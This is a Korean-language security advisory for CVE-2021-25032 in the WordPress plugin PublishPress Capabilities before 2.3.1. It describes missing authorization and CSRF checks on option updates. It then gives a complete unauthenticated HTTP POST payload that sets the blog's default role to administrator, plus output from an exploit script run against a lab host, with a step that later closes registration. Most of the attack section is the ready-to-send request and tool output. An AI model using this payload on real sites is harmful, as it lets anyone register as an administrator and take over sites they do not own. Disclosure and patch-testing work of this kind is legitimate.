
PublishPress Capabilities < 2.3.1 - 인증되지 않은 임의 옵션 업데이트로 인한 블로그 장악
PublishPress Capabilities 2.2 - 2.3 - 인증되지 않은 임의 옵션 업데이트로 인한 블로그 장악
이 플러그인은 init 훅을 통해 플러그인 설정을 업데이트할 때 권한 및 CSRF 검사를 수행하지 않으며, 업데이트할 옵션이 플러그인에 속하는지도 확인하지 않습니다. 그 결과, 인증되지 않은 공격자가 기본 역할과 같은 임의의 블로그 옵션을 업데이트하고, 새로 등록되는 사용자가 관리자 역할을 갖도록 만들 수 있습니다.
POST /wp-admin/admin.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close
page=pp-capabilities-settings&all_options=default_role&default_role=administrator
$ python3 CVE-2021-25032.py -u http://wordpress.lan
The plugin version is below 2.3.1.
The plugin version is 2.2
Vulnerability check: http://wordpress.lan
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
회원가입 비활성화 및 구독자(Subscriber) 설정
$ python3 CVE-2021-25032.py -u http://wordpress.lan --fix yes
Vulnerability check: http://wordpress.lan
Options set successfully: http://wordpress.lan/wp-admin/admin.php
Fixed: You can not longer register